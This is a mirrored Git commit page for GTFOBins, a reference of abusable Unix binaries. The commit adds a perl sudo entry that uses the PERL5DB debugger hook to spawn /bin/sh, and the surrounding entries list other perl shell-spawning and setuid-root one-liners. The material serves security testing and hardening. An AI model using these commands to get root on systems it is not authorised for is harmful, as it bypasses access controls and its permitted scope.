mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add perl sudo
This commit is contained in:
parent
4eca50ea16
commit
7fd64d1dba
@ -16,6 +16,8 @@ functions:
|
||||
- code: ./perl -e 'exec "/bin/sh";'
|
||||
sudo:
|
||||
- code: sudo perl -e 'exec "/bin/sh";'
|
||||
- description: Don't forget to `CTRL+D` to exit the perl shell and get the shell.
|
||||
code: sudo PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl
|
||||
capabilities:
|
||||
- code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user